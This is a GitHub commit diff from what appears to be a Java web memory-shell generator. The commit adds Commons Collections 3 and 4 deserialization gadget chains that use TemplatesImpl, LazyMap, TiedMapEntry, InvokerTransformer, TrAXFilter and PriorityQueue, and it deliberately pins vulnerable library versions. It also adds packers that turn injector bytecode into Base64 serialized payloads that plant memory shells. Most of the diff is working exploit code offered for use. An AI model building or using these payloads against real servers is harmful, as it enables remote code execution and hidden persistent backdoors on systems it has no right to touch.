Skip to content

Commit 8658fca

Browse files
committed
feat: support CC payload generate
1 parent 6a69bbb commit 8658fca

File tree

16 files changed

+196
-11
lines changed

16 files changed

+196
-11
lines changed

build.gradle

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,9 @@ jacocoTestReport {
3636
classDirectories.from(
3737
fileTree('generator/build/classes/java/main') {
3838
excludes = [
39-
'com/reajason/javaweb/memsell/**/godzilla/**',
40-
'com/reajason/javaweb/memsell/**/injector/**',
41-
'com/reajason/javaweb/memsell/**/command/**',
39+
'com/reajason/javaweb/memshell/**/godzilla/**',
40+
'com/reajason/javaweb/memshell/**/injector/**',
41+
'com/reajason/javaweb/memshell/**/command/**',
4242
'com/reajason/javaweb/config/**'
4343
]
4444
}

deserialize/build.gradle

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,13 @@ group = 'com.reajason.javaweb'
66
version = rootProject.version
77

88
dependencies {
9+
implementation project(":common")
910
implementation 'net.bytebuddy:byte-buddy'
1011

1112
implementation 'com.caucho:hessian:4.0.66'
12-
implementation 'commons-beanutils:commons-beanutils:1.9.4'
13+
implementation 'commons-beanutils:commons-beanutils:1.9.2'
14+
implementation 'commons-collections:commons-collections:3.2.1'
15+
implementation 'org.apache.commons:commons-collections4:4.0'
1316

1417
testImplementation platform('org.junit:junit-bom')
1518
testImplementation 'org.junit.jupiter:junit-jupiter'

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,7 @@
11
package com.reajason.javaweb.deserialize;
22

33
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
4-
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
5-
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
6-
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
7-
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
4+
import com.reajason.javaweb.deserialize.payload.java.*;
85
import lombok.Getter;
96

107
/**
@@ -21,6 +18,12 @@ public enum PayloadType {
2118
CommonsBeanutils19(new CommonsBeanutils19()),
2219
CommonsBeanutils110(new CommonsBeanutils110()),
2320

21+
/**
22+
* CC 链
23+
*/
24+
CommonsCollections3(new CommonCollections3()),
25+
CommonsCollections4(new CommonCollections4()),
26+
2427
/**
2528
* Hessian XSLT write
2629
*/

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
package com.reajason.javaweb.deserialize;
22

3+
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
34
import com.reajason.javaweb.deserialize.utils.Reflections;
4-
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
77
import lombok.SneakyThrows;
88
import net.bytebuddy.ByteBuddy;
99
import net.bytebuddy.dynamic.DynamicType;
10+
import net.bytebuddy.jar.asm.Opcodes;
1011

1112
/**
1213
* @author ReaJason
@@ -20,6 +21,7 @@ public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
2021
byte[] fooBytes;
2122
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
2223
.subclass(Object.class).name("foo")
24+
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
2325
.make()) {
2426
fooBytes = make.getBytes();
2527
}
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package com.reajason.javaweb.deserialize.payload.java;
2+
3+
import com.reajason.javaweb.deserialize.Payload;
4+
import com.reajason.javaweb.deserialize.TemplateUtils;
5+
import com.reajason.javaweb.deserialize.utils.Reflections;
6+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
7+
import lombok.SneakyThrows;
8+
import org.apache.commons.collections.functors.InvokerTransformer;
9+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
10+
import org.apache.commons.collections.map.LazyMap;
11+
12+
import java.util.HashMap;
13+
import java.util.Map;
14+
15+
/**
16+
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
17+
*
18+
* @author ReaJason
19+
* @since 2025/4/2
20+
*/
21+
public class CommonCollections3 implements Payload {
22+
23+
@Override
24+
@SneakyThrows
25+
@SuppressWarnings({"rawtypes", "unchecked"})
26+
public Object generate(byte[] bytes) {
27+
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
28+
29+
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
30+
31+
Map innerMap = new HashMap<>();
32+
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
33+
34+
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
35+
36+
Map expMap = new HashMap<>();
37+
expMap.put(tiedMapEntry, "valueTest");
38+
outerMap.remove(templates);
39+
40+
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
41+
return expMap;
42+
}
43+
}
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package com.reajason.javaweb.deserialize.payload.java;
2+
3+
import com.reajason.javaweb.deserialize.Payload;
4+
import com.reajason.javaweb.deserialize.TemplateUtils;
5+
import com.reajason.javaweb.deserialize.utils.Reflections;
6+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
7+
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
8+
import lombok.SneakyThrows;
9+
import org.apache.commons.collections4.comparators.TransformingComparator;
10+
import org.apache.commons.collections4.functors.ChainedTransformer;
11+
import org.apache.commons.collections4.functors.ConstantTransformer;
12+
import org.apache.commons.collections4.functors.InstantiateTransformer;
13+
14+
import javax.xml.transform.Templates;
15+
import java.util.PriorityQueue;
16+
17+
/**
18+
* @author ReaJason
19+
* @since 2025/4/2
20+
*/
21+
public class CommonCollections4 implements Payload {
22+
23+
@Override
24+
@SneakyThrows
25+
@SuppressWarnings({"rawtypes", "unchecked"})
26+
public Object generate(byte[] bytes) {
27+
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
28+
ChainedTransformer chain =
29+
new ChainedTransformer(
30+
new ConstantTransformer(TrAXFilter.class),
31+
new InstantiateTransformer(
32+
new Class[]{Templates.class}, new Object[]{templates}));
33+
TransformingComparator comparator = new TransformingComparator(chain);
34+
PriorityQueue queue = new PriorityQueue(2, comparator);
35+
Reflections.setFieldValue(queue, "size", 2);
36+
Reflections.setFieldValue(queue, "comparator", comparator);
37+
return queue;
38+
}
39+
}

generator/build.gradle

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ java {
1010
targetCompatibility = JavaVersion.VERSION_1_8
1111
}
1212

13-
group = 'com.reajason.javaweb.memsell'
13+
group = 'com.reajason.javaweb'
1414
version = rootProject.version
1515

1616
tasks.withType(Test).configureEach {
@@ -35,6 +35,7 @@ test {
3535
dependencies {
3636
implementation project(":common")
3737
implementation project(":deserialize")
38+
3839
implementation project(":memshell")
3940
implementation project(":memshell-java8")
4041
implementation 'net.bytebuddy:byte-buddy'

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,8 @@ public enum Packers {
103103
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
104104
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
105105
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
106+
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
107+
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
106108

107109
/**
108110
* Hessian 反序列化打包器
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.reajason.javaweb.memshell.packer.deserialize.java;
2+
3+
import com.reajason.javaweb.deserialize.DeserializeConfig;
4+
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
5+
import com.reajason.javaweb.deserialize.PayloadType;
6+
import com.reajason.javaweb.memshell.config.GenerateResult;
7+
import com.reajason.javaweb.memshell.packer.Packer;
8+
import lombok.SneakyThrows;
9+
import org.apache.commons.codec.binary.Base64;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2025/2/17
14+
*/
15+
public class CommonsCollections3Packer implements Packer {
16+
17+
@Override
18+
@SneakyThrows
19+
public String pack(GenerateResult generateResult) {
20+
DeserializeConfig deserializeConfig = new DeserializeConfig();
21+
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
22+
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
23+
}
24+
}
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package com.reajason.javaweb.memshell.packer.deserialize.java;
2+
3+
import com.reajason.javaweb.deserialize.DeserializeConfig;
4+
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
5+
import com.reajason.javaweb.deserialize.PayloadType;
6+
import com.reajason.javaweb.memshell.config.GenerateResult;
7+
import com.reajason.javaweb.memshell.packer.Packer;
8+
import lombok.SneakyThrows;
9+
import org.apache.commons.codec.binary.Base64;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2025/2/17
14+
*/
15+
public class CommonsCollections4Packer implements Packer {
16+
17+
@Override
18+
@SneakyThrows
19+
public String pack(GenerateResult generateResult) {
20+
DeserializeConfig deserializeConfig = new DeserializeConfig();
21+
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
22+
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
23+
}
24+
}

0 commit comments

Comments
 (0)